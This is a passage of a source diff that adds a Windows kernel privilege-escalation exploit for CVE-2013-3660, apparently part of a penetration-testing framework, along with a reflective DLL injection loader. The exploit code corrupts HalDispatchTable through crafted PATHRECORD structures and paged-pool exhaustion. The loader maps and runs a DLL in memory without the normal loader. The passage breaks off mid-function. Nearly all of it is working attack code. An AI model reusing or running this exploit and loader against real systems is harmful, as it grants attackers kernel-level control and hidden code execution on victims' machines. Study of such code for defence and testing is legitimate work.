+ HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
+ PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
+ PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
+ PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
+
+ // Search for a ret instruction to install in the damaged HalDispatchTable.
+ HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
+ - (ULONG) KernelHandle
+ + (ULONG) ModuleInfo.Modules[0].ImageBase;
+
+ LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
+
+ // Create our PATHRECORD in user space we will get added to the EPATHOBJ
+ // pathrecord chain.
+ PathRecord = VirtualAlloc(NULL,
+ sizeof *PathRecord,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE);
+
+ LogMessage(L_INFO, "Allocated userspace PATHRECORD@%p", PathRecord);
+
+ // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
+ // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
+ // loop in EPATHOBJ::bFlatten().
+ PathRecord->flags = 0;
+ PathRecord->next = PathRecord;
+ PathRecord->prev = (PPATHRECORD)(0x42424242);
+
+ LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
+ LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
+ LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
+
+ // Now we need to create a PATHRECORD at an address that is also a valid
+ // x86 instruction, because the pointer will be interpreted as a function.
+ // I've created a list of candidates in DispatchRedirect.
+ LogMessage(L_INFO, "Searching for an available stub address...");
+
+ // I need to map at least two pages to guarantee the whole structure is
+ // available.
+ while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
+ PAGE_SIZE * 2,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE)) {
+
+ LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
+ *DispatchRedirect & ~(PAGE_SIZE - 1),
+ GetLastError());
+
+ // This page is not available, try the next candidate.
+ if (!*++DispatchRedirect) {
+ LogMessage(L_ERROR, "No redirect candidates left, sorry!");
+ return;
+ }
+ }
+
+ LogMessage(L_INFO, "Success, ExploitRecordExit@%#0x", *DispatchRedirect);
+
+ // This PATHRECORD must terminate the list and recover.
+ ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
+ ExploitRecordExit->next = NULL;
+ ExploitRecordExit->prev = NULL;
+ ExploitRecordExit->flags = PD_BEGINSUBPATH;
+ ExploitRecordExit->count = 0;
+
+ LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);
+ LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);
+ LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);
+
+ // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
+ // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
+ // be copied over to the new record. Therefore, we get
+ //
+ // nt!HalDispatchTable[1] = &ExploitRecordExit.
+ //
+ // So we make &ExploitRecordExit a valid sequence of instuctions here.
+ LogMessage(L_INFO, "ExploitRecord@%#0x", &ExploitRecord);
+
+ ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
+ ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
+ ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
+ ExploitRecord.count = 4;
+
+ LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);
+ LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);
+ LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);
+
+ LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
+
+ // Generate a large number of Belier Curves made up of pointers to our
+ // PATHRECORD object.
+ for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
+ Points[PointNum].x = (ULONG)(PathRecord) >> 4;
+ Points[PointNum].y = (ULONG)(PathRecord) >> 4;
+ PointTypes[PointNum] = PT_BEZIERTO;
+ }
+
+ // Switch to a dedicated desktop so we don't spam the visible desktop with
+ // our Lines (Not required, just stops the screen from redrawing slowly).
+ SetThreadDesktop(CreateDesktop("DontPanic",
+ NULL,
+ NULL,
+ 0,
+ GENERIC_ALL,
+ NULL));
+
+ // Get a handle to this Desktop.
+ Device = GetDC(NULL);
+
+ // Take ownership of Mutex
+ WaitForSingleObject(Mutex, INFINITE);
+
+ // Spawn a thread to cleanup
+ Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
+
+ LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
+
+ // We need to cause a specific AllocObject() to fail to trigger the
+ // exploitable condition. To do this, I create a large number of rounded
+ // rectangular regions until they start failing. I don't think it matters
+ // what you use to exhaust paged memory, there is probably a better way.
+ //
+ // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
+ // failure. Seriously, do some damn QA Microsoft, wtf.
+ for (Size = 1 << 26; Size; Size >>= 1) {
+ while (Regions[ComplexPathNumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
+ ComplexPathNumRegion++;
+ }
+
+ LogMessage(L_INFO, "Allocated %u HRGN objects", ComplexPathNumRegion);
+
+ LogMessage(L_INFO, "Flattening curves...");
+
+ for (PointNum = MAX_POLYPOINTS; PointNum && !ComplexPathFinished; PointNum -= 3) {
+ BeginPath(Device);
+ PolyDraw(Device, Points, PointTypes, PointNum);
+ EndPath(Device);
+ FlattenPath(Device);
+ FlattenPath(Device);
+
+ // Test if exploitation succeeded.
+ NtQueryIntervalProfile(ProfileTotalIssues, Interval);
+
+ // Repair any damage.
+ *Interval = SavedInterval;
+
+ EndPath(Device);
+ }
+
+ if (ComplexPathFinished) {
+ LogMessage(L_INFO, "Success...", ComplexPathFinished);
+ //ExitProcess(0);
+ return;
+ }
+
+ // If we reach here, we didn't trigger the condition. Let the other thread know.
+ ReleaseMutex(Mutex);
+ WaitForSingleObject(Thread, INFINITE);
+ ReleaseDC(NULL, Device);
+
+ // Try again...
+ LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
+ //ExitProcess(1);
+ return;
+}
+
+// A quick logging routine for debug messages.
+BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
+{
+ CHAR Buffer[1024] = {0};
+ va_list Args;
+
+ va_start(Args, Format);
+ vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
+ va_end(Args);
+
+ switch (Level) {
+ case L_DEBUG: dprintf( "[?] %s\n", Buffer); break;
+ case L_INFO: dprintf( "[+] %s\n", Buffer); break;
+ case L_WARN: dprintf( "[*] %s\n", Buffer); break;
+ case L_ERROR: dprintf( "[!] %s\n", Buffer); break;
+ }
+
+ //fflush(stdout);
+ //flush(stderr);
+
+ return TRUE;
+}
+extern HINSTANCE hAppInstance;
+BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
+{
+ BOOL bReturnValue = TRUE;
+ switch( dwReason )
+ {
+ case DLL_QUERY_HMODULE:
+ if( lpReserved != NULL )
+ *(HMODULE *)lpReserved = hAppInstance;
+ hAppInstance = hinstDLL;
+ elevator_complex_path();
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ break;
+ case DLL_PROCESS_DETACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+ return bReturnValue;
+}
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c
new file mode 100755
index 0000000000..594c0b8066
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c
@@ -0,0 +1,496 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#include "ReflectiveLoader.h"
+//===============================================================================================//
+// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
+HINSTANCE hAppInstance = NULL;
+//===============================================================================================//
+#pragma intrinsic( _ReturnAddress )
+// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
+// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
+// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
+// available (and no inline asm available under x64).
+__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
+//===============================================================================================//
+
+// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
+// otherwise the DllMain at the end of this file will be used.
+
+// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
+// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
+
+// This is our position independent reflective DLL loader/injector
+#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
+#else
+DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
+#endif
+{
+ // the functions we need
+ LOADLIBRARYA pLoadLibraryA = NULL;
+ GETPROCADDRESS pGetProcAddress = NULL;
+ VIRTUALALLOC pVirtualAlloc = NULL;
+ NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
+
+ USHORT usCounter;
+
+ // the initial location of this image in memory
+ ULONG_PTR uiLibraryAddress;
+ // the kernels base address and later this images newly loaded base address
+ ULONG_PTR uiBaseAddress;
+
+ // variables for processing the kernels export table
+ ULONG_PTR uiAddressArray;
+ ULONG_PTR uiNameArray;
+ ULONG_PTR uiExportDir;
+ ULONG_PTR uiNameOrdinals;
+ DWORD dwHashValue;
+
+ // variables for loading this image
+ ULONG_PTR uiHeaderValue;
+ ULONG_PTR uiValueA;
+ ULONG_PTR uiValueB;
+ ULONG_PTR uiValueC;
+ ULONG_PTR uiValueD;
+ ULONG_PTR uiValueE;
+
+ // STEP 0: calculate our images current base address
+
+ // we will start searching backwards from our callers return address.
+ uiLibraryAddress = caller();
+
+ // loop through memory backwards searching for our images base address
+ // we dont need SEH style search as we shouldnt generate any access violations with this
+ while( TRUE )
+ {
+ if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
+ {
+ uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+ // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
+ // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
+ if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
+ {
+ uiHeaderValue += uiLibraryAddress;
+ // break if we have found a valid MZ/PE header
+ if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
+ break;
+ }
+ }
+ uiLibraryAddress--;
+ }
+
+ // STEP 1: process the kernels exports for the functions our loader needs...
+
+ // get the Process Enviroment Block
+#ifdef WIN_X64
+ uiBaseAddress = __readgsqword( 0x60 );
+#else
+#ifdef WIN_X86
+ uiBaseAddress = __readfsdword( 0x30 );
+#else WIN_ARM
+ uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
+#endif
+#endif
+
+ // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
+ uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
+
+ // get the first entry of the InMemoryOrder module list
+ uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
+ while( uiValueA )
+ {
+ // get pointer to current modules name (unicode string)
+ uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
+ // set bCounter to the length for the loop
+ usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
+ // clear uiValueC which will store the hash of the module name
+ uiValueC = 0;
+
+ // compute the hash of the module name...
+ do
+ {
+ uiValueC = ror( (DWORD)uiValueC );
+ // normalize to uppercase if the madule name is in lowercase
+ if( *((BYTE *)uiValueB) >= 'a' )
+ uiValueC += *((BYTE *)uiValueB) - 0x20;
+ else
+ uiValueC += *((BYTE *)uiValueB);
+ uiValueB++;
+ } while( --usCounter );
+
+ // compare the hash with that of kernel32.dll
+ if( (DWORD)uiValueC == KERNEL32DLL_HASH )
+ {
+ // get this modules base address
+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
+
+ // get the VA of the modules NT Header
+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
+
+ // get the VA of the export directory
+ uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
+
+ // get the VA for the array of name pointers
+ uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
+
+ // get the VA for the array of name ordinals
+ uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
+
+ usCounter = 3;
+
+ // loop while we still have imports to find
+ while( usCounter > 0 )
+ {
+ // compute the hash values for this function name
+ dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
+
+ // if we have found a function we want we get its virtual address
+ if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
+ {
+ // get the VA for the array of addresses
+ uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
+
+ // use this functions name ordinal as an index into the array of name pointers
+ uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
+
+ // store this functions VA
+ if( dwHashValue == LOADLIBRARYA_HASH )
+ pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
+ else if( dwHashValue == GETPROCADDRESS_HASH )
+ pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
+ else if( dwHashValue == VIRTUALALLOC_HASH )
+ pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
+
+ // decrement our counter
+ usCounter--;
+ }
+
+ // get the next exported function name
+ uiNameArray += sizeof(DWORD);
+
+ // get the next exported function name ordinal
+ uiNameOrdinals += sizeof(WORD);
+ }
+ }
+ else if( (DWORD)uiValueC == NTDLLDLL_HASH )
+ {
+ // get this modules base address
+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
+
+ // get the VA of the modules NT Header
+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
+
+ // get the VA of the export directory
+ uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
+
+ // get the VA for the array of name pointers
+ uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
+
+ // get the VA for the array of name ordinals
+ uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
+
+ usCounter = 1;
+
+ // loop while we still have imports to find
+ while( usCounter > 0 )
+ {
+ // compute the hash values for this function name
+ dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
+
+ // if we have found a function we want we get its virtual address
+ if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
+ {
+ // get the VA for the array of addresses
+ uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
+
+ // use this functions name ordinal as an index into the array of name pointers
+ uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
+
+ // store this functions VA
+ if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
+ pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
+
+ // decrement our counter
+ usCounter--;
+ }
+
+ // get the next exported function name
+ uiNameArray += sizeof(DWORD);
+
+ // get the next exported function name ordinal
+ uiNameOrdinals += sizeof(WORD);
+ }
+ }
+
+ // we stop searching when we have found everything we need.
+ if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
+ break;
+
+ // get the next entry
+ uiValueA = DEREF( uiValueA );
+ }
+
+ // STEP 2: load our image into a new permanent location in memory...
+
+ // get the VA of the NT Header for the PE to be loaded
+ uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+
+ // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
+ // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
+ uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+
+ // we must now copy over the headers
+ uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
+ uiValueB = uiLibraryAddress;
+ uiValueC = uiBaseAddress;
+
+ while( uiValueA-- )
+ *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
+
+ // STEP 3: load in all of our sections...
+
+ // uiValueA = the VA of the first section
+ uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
+
+ // itterate through all sections, loading them into memory.
+ uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
+ while( uiValueE-- )
+ {
+ // uiValueB is the VA for this section
+ uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
+
+ // uiValueC if the VA for this sections data
+ uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
+
+ // copy the section over
+ uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
+
+ while( uiValueD-- )
+ *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
+
+ // get the VA of the next section
+ uiValueA += sizeof( IMAGE_SECTION_HEADER );
+ }
+
+ // STEP 4: process our images import table...
+
+ // uiValueB = the address of the import directory
+ uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
+
+ // we assume their is an import table to process
+ // uiValueC is the first entry in the import table
+ uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
+
+ // itterate through all imports
+ while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
+ {
+ // use LoadLibraryA to load the imported module into memory
+ uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
+
+ // uiValueD = VA of the OriginalFirstThunk
+ uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
+
+ // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
+ uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
+
+ // itterate through all imported functions, importing by ordinal if no name present
+ while( DEREF(uiValueA) )
+ {
+ // sanity check uiValueD as some compilers only import by FirstThunk
+ if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
+ {
+ // get the VA of the modules NT Header
+ uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
+
+ // get the VA of the export directory
+ uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
+
+ // get the VA for the array of addresses
+ uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
+
+ // use the import ordinal (- export ordinal base) as an index into the array of addresses
+ uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
+
+ // patch in the address for this imported function
+ DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
+ }
+ else
+ {
+ // get the VA of this functions import by name struct
+ uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
+
+ // use GetProcAddress and patch in the address for this imported function
+ DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
+ }
+ // get the next imported function
+ uiValueA += sizeof( ULONG_PTR );
+ if( uiValueD )
+ uiValueD += sizeof( ULONG_PTR );
+ }
+
+ // get the next import
+ uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
+ }
+
+ // STEP 5: process all of our images relocations...
+
+ // calculate the base address delta and perform relocations (even if we load at desired image base)
+ uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
+
+ // uiValueB = the address of the relocation directory
+ uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
+
+ // check if their are any relocations present
+ if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
+ {
+ // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
+ uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
+
+ // and we itterate through all entries...
+ while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
+ {
+ // uiValueA = the VA for this relocation block
+ uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
+
+ // uiValueB = number of entries in this relocation block
+ uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
+
+ // uiValueD is now the first entry in the current relocation block
+ uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
+
+ // we itterate through all the entries in the current block...
+ while( uiValueB-- )
+ {
+ // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
+ // we dont use a switch statement to avoid the compiler building a jump table
+ // which would not be very position independent!
+ if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
+ *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
+ else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
+ *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
+#ifdef WIN_ARM
+ // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
+ else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
+ {
+ register DWORD dwInstruction;
+ register DWORD dwAddress;
+ register WORD wImm;
+ // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
+ dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
+ // flip the words to get the instruction as expected
+ dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
+ // sanity chack we are processing a MOV instruction...
+ if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
+ {
+ // pull out the encoded 16bit value (the high portion of the address-to-relocate)
+ wImm = (WORD)( dwInstruction & 0x000000FF);
+ wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
+ wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
+ wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
+ // apply the relocation to the target address
+ dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
+ // now create a new instruction with the same opcode and register param.
+ dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
+ // patch in the relocated address...
+ dwInstruction |= (DWORD)(dwAddress & 0x00FF);
+ dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
+ dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
+ dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
+ // now flip the instructions words and patch back into the code...
+ *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
+ }
+ }
+#endif
+ else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
+ *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
+ else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
+ *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
+
+ // get the next entry in the current relocation block
+ uiValueD += sizeof( IMAGE_RELOC );
+ }
+
+ // get the next entry in the relocation directory
+ uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
+ }
+ }
+
+ // STEP 6: call our images entry point
+
+ // uiValueA = the VA of our newly loaded DLL/EXE's entry point
+ uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
+
+ // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
+ pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
+
+ // call our respective entry point, fudging our hInstance value
+#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+ // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
+ ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
+#else
